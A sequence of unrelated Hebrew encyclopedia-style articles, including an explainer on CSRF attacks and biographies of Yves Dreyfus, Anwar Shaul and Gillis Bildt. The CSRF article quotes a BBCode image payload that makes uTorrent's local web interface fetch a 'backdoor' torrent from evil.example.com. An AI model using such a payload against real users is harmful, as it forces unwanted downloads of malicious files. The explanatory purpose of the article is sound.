בין השנים 2003-1994 ייסד עם אשתו את חברת “אלפא קאד”, המתמחה באספקת פתרונות תיב"ם לתחום הבניה.
חיים אישיים.
מתגורר בנצרת עם אשתו רים יונס, ואב לשלושה. משפחה ערבית-נוצרית.
CSRF (אנגלית: Cross Site Request Forgery) היא התקפה נגד גולש אינטרנט המאלצת את דפדפן האינטרנט של הגולש לבצע פעולות לא רצוניות ביישומי אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.
בהתקפה זו התוקף, על ידי הרצת קוד בצורה סמויה, מבצע פעולות שונות בשם הקורבן, כגון: לגרום למשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקורבן מודע לביצוע פעולות אלה.
היסטוריה.
התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת ה-IP של המשתמש בשירות.
שימוש.
ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול השרת, התוקף יוכל לבצע את פעולתו.
לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקורבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:
אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.
דוגמה נוספת:
פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:
ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:
[Img]http://localhost:8080/gui/?Action=add-url&amp;amp;shttp://evil.example.com/backdoor.torrent[/img]
במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום.
תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.
התכונות הבאות מאפיינות התקפת CSRF:
הגבלות.
כדי שהתקפה זו תצליח יש לשים לב למספר דברים:
בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קורבנות.
מניעה.
הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.
התקפה מוצלחת דורשת מילוי שני תנאים:
ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF:
איב דרייפוס
איב דרייפוס (בצרפתית: Yves Dreyfus; נולד ב-17 במאי 1931) הוא סייף צרפתי-יהודי בעבר. זכה בשתי מדליות ארד אולימפיות (מלבורן 1956 וטוקיו 1964) ו-3 פעמים אלוף עולם בדקר קבוצתי וסגן-אלוף העולם (גדנסק 1963) בדקר אישי.
קורות חיים.
דרייפוס נולד וגדל בקלרמון-פראן. צאצא של אלפרד דרייפוס.
באולימפיאדת מלבורן (1956) זכה דרייפוס במדליית ארד בתחרות הקבוצתית בדקר.
באולימפיאדת רומא (1960) סיים דרייפוס במקום שישי בתחרות האישית בדקר. במדליית הכסף זכה היהודי אלן ג'יי מבריטניה ובמקום השביעי סיים היהודי בן ארצו ארמנד מויאל. נוסף לכך, הוא סיים במקום תשיעי בתחרות הקבוצתית בדקר.
במכביה השישית שנערכה בשנת 1961 זכה דרייפוס במדליית זהב בתחרות האישית בדקר.
באליפות העולם שנערכה בבואנוס איירס, ארגנטינה בשנת 1962 זכה דרייפוס במדליית ארד בתחרות דקר אישי.
באליפות העולם שנערכה בגדנסק, פולין בשנת 1963 זכה דרייפוס במדליית כסף בתחרות דקר אישי.
באולימפיאדת טוקיו (1964) זכה דרייפוס במדליית ארד בתחרות הקבוצתית בדקר ובמקום 18 בתחרות האישית בדקר.
במכביה השביעית שנערכה בשנת 1965 זכה דרייפוס במדליית כסף בתחרות האישית בדקר.
במכביה העשירית שנערכה בשנת 1977 זכה דרייפוס בשתי מדליות זהב, בתחרות האישית ובתחרות הקבוצתית בדקר.
אנואר שאול
אנואר שאול (בערבית: أنور شاؤول, 1904, אל-חלה - 14 בדצמבר 1984), משורר ועיתונאי עיראקי ממוצא יהודי, יליד אל-חלה.
קורות חיים.
בין השנים 1924–1925 ערך את העיתון הציוני העיראקי "אל-מצבאח" ("המנורה"). באותה תקופה כתב גם שירים המבטאים את אמונתו בלאומיות היהודית. במשך שלוש שנים שימש כמזכיר הקהילה היהודית בבגדאד, אך אז החל מתנכר לקהילה היהודית, וב-1937 אף חתם על הצהרה אנטי-ציונית.
בשנת 1929 הקים את השבועון הספרותי "אל-חאציד" (בערבית: الحاصد, "הקוצר"), אותו ערך עד שנת 1938. השבועון הציג פרשנות פוליטית, שכללה בין היתר ביקורת על הפשיזם האירופי ותמיכה בעצמאות מלאה לעיראק מבריטניה. תחת הנהגתו, הפך "אל-חאציד" לשבועון העיראקי החשוב ביותר.
שאול היה העיראקי הראשון שעסק בבעיות עממיות ודרש לבטל את הרעלה וכן שיפור מעמדן של הנשים. סיפוריו הראשונים פורסמו ב-1930 באנתולוגיה "היבול הראשון". ליקט ב-1937 אנתולוגיה של סיפורים קצרים מתורגמים בשם "סיפורי המערב". ספריו האחרים הם "בהמולה של העיר", 1955 וכרך שירים, "לחישות הזמן", 1956.
שאול ראה עצמו יהודי עיראקי, בן העם הערבי-עיראקי; תחילה לא עלה לישראל עם גל העלייה הגדול של יהדות עיראק ב-1951, אך אחרי 20 שנה, בשנת 1971, עזב את עיראק לישראל בשל רדיפת השלטון העיראקי אחר היהודים שנותרו. בישראל כינס ופרסם את שיריו בערבית, וכן כתב ופרסם בשנת 1980 את האוטוביוגרפיה "סיפור חיי בארץ הנהריים", אשר פורסם בערבית ולא תורגם לעברית.
נפטר ב-1984 בקיראון שליד תל אביב והוא בן 80.
האח הגדול 4
רנצ'ו מיראז'
רנצ'ו מיראז' (באנגלית: Rancho Mirage) היא עיר קיט הנמצאת במחוז ריברסייד בקליפורניה שבארצות הברית. במפקד האוכלוסין של ארצות הברית של שנת 2010 בעיר חיו כ-17,218 איש, לעומת 13,249 איש בשנת 2000, אם כי האוכלוסייה העונתית יכולה לעלות על 20,000 תושבים. העיר ממוקמת בין קת'ידרל סיטי לבין פאלם דזרט והיא אחד מתשע הערים של עמק קואצ'לה. רנצ'ו מיראז' נוסדה לראשונה ב-1973 לאחר המיזוג של מיראז' קוב עם חמישה יישובים הידועים כ"קהילות קוב" ובתחילת דרכה של העיר חיו בה כ-3,000 תושבים קבועים.
היסטוריה.
העיר הוקמה ב-3 באוגוסט 1973 לאחר שהעיר אוגדה עם חמישה יישובים קטנים (מגנסיה, דזרט, פאלמאס, טמריסק ות'נדרבירד) הידועים בשם "קהילת קוב".
גאוגרפיה.
על פי נתוני מפקד האוכלוסין של ארצות הברית, העיר משתרעת על שטח כולל של 64 קילומטר רבוע, מתוכם 63 קילומטר רבוע קרקע ו-1 קילומטר רבוע ממנה (1.57%) הוא מים.
פוליטיקה.
בבית המחוקקים של מדינת קליפורניה, רנצ'ו מיראז' מיוצגת במחוז ה-28 של קליפורניה, המיוצג כיום (2017) על ידי ג'ף סטון מהמפלגה הרפובליקנית.
בבית הנבחרים של ארצות הברית, רנצ'ו מיראז' מיוצגת במחוז הקונגרס ה-36 של קליפורניה, המיוצג כיום על ידי ראול רואיז מהמפלגה הדמוקרטית.
גיליס בילט
הברון דידריק אנדרס גיליס בילט (בשוודית: Didrik Anders Gillis Bildt; 16 באוקטובר 1820 – 22 באוקטובר 1894) היה ברון, חבר פרלמנט וקצין צבא שוודי שכיהן כראש ממשלת שוודיה בין השנים 1888 – 1889.
ראשית חייו.
גיליס בילט נולד בגטבורג כבנם של לוטננט קולונל דניאל פרדריק בילט ושל כריסטינה אליזבת פרודינג. אביו מת כשגיליס בילט היה בן שבע, בשנת 1827 ואמו מתה בשנת 1858.
ב-1848 נשא בילט לאישה את לוסלי רוזלי דופווה ולזוג נולדו בת ושני בנים. בן-נינו, קרל בילדט, היה גם הוא ראש ממשלת שוודיה במחצית הראשונה של שנות התשעים של המאה ה-20.
קריירה צבאית.
גיליס בילט עשה קריירה צבאית כקצין תותחנים והגיע לדרגת לוטננט גנרל. ב-1837 הוא סיים את לימודיו באקדמיה הצבאית המלכותית בסטוקהולם והצטרף לרגימנט התותחנים של יטאלנד. הוא השלים את לימודיו הגבוהים ב-1842 במריברג, שם הוא משך את תשומת לבו של נסיך הכתר אוסקר (לימים אוסקר הראשון, מלך שוודיה) בשל חריצותו וכישרונו. לאחר סיום לימודיו הוא עבד כמורה למתמטיקה במשך כמה שנים במקביל להמשך הקריירה הצבאית שלו וב-1847 הוא נבחר לריקסדאג (הפרלמנט השוודי).
ב-1851, בהיותו בדרגת לוטננט הוא מונה להיות שלישו האישי של המלך אוסקר הראשון. ב-1854 הוא הועלה לדרגת מייג'ור, ב-1856 לדרגת לוטננט קולונל וב-1858 לדרגת קולונל. ב-1859 הוא הועלה לדרגת מייג'ור גנרל ונבחר על ידי המלך קרל החמישה עשר להיות שלישו האישי הראשון. לבסוף, ב-1875 הוא הועלה לדרגת לוטננט גנרל.
מושל.
בשנים 1858 – 1862 שימש בילט בתפקיד מושל יטאלנד ולאחר מכן ועד שנת 1874 כמושל העליון (Överståthållaren) של סטוקהולם.
נושא חשוב שהוא הוביל היא סוגיית הגנת מסילות הברזל, בייחוד אלה שהייתה להם חשיבות צבאית ומסחרית לסטוקהולם. הוא זכה לתמיכה בכל רחבי העיר, בריקסדאג, במועצת העיר, בבורסה לניירות ערך ובקרב התושבים. הוא גם היה בעל מניות וחבר מועצת המנהלים של החברה שהפעילה את קו הרכבת בין סטוקהולם לבין מכרות וסטמלנד.
נושא נוסף שהיה קרוב לליבו היה החקלאות. ב-1850 הוא כינה את החקלאות "האינטרס הכביר ביותר של ארצנו". הצהרתו משנת 1869 הייתה יותר דיפלומטית: . ב-1864 הוענק לבילט התואר ברון (Friherre).
קריירה פרלמנטרית.
בילט נבחר להיות חבר בריקסדאג (הפרלמנט השוודי) וכיהן בו בין השנים 1847 – 1874 ובין השנים 1887 – 1894. החל משנת 1867, כאשר הפך הריקסדאג להיות בית מחוקקים דו-בתי, ישב בילט בבית העליון (Första kammaren).
כנציג ב"בית האצולה" (Riddarhuset), שהיה רם המעלה ביותר בריקסדאג עד 1886, היה בילט חלק מ"מפלגת היונקרים" (Junkerpartiet), קבוצת אצילים שמרנים תומכי מדיניות הסחר החופשי.